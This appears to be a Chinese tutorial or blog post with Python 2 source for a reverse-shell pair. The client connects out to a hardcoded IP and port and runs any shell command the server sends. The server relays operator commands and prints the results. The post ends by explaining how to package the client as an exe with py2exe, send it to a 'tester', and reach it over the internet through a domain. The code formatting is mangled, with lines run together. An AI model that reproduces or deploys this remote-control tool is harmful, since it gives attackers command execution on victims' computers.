构思:
client:反向连接server,执行shell命令
server:发送命令,控制客户端
import subprocess
import socket
import threading target="172.22.40.41"
port=55555
buffer="" def sendMag(c_socket):
global buffer while True:
#send cmd if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error" print buffer
buffer="" def getMag(client_socket):
global buffer while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try: if not len(res_cmd):
res_cmd="NO MAG" buffer+=res_cmd except:
print "soc send reeor" def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try: client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED" get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start() def cmd(str):
str=str.rstrip()
try: res_cmd=subprocess.check_output(str,shell=True) except:
res_cmd="ERROR COMMEND!!" if not len(res_cmd):
res_cmd="ERROR BACK" return res_cmd def main():
c_rec() main()
import socket
import threading target="0.0.0.0"
port=55555 def s_loop():
global target
global port
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5)
while True:
c_socket,addr=server.accept()
print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,))
send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,))
get_thread.start() def sendMag(c_socket):
while True:
#send cmd command=raw_input("#")
try: if len(command):
c_socket.send(command) except:
print "server send error" def getMag(c_socket):
while True:
#get mag from client
recvs="" len_rec=1
while len_rec:
datas=c_socket.recv(4096) len_rec=len(datas)
recvs+=datas
if len_rec<4096:
break print "get from Catc::",recvs def main():
s_loop() main()
可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。
假设有一个Hello.py需要生成exe文件
习惯在同一目录下新建setup.py文件
内容:
from distutils.core import setup
import py2exe setup(console=['x:/xxx/hello.py'])
注意一定是全路径。
cmd进入setup.py的目录下:
python ./setup.py py2exe
成功会在同级目录生成dist、build,exe文件在dist里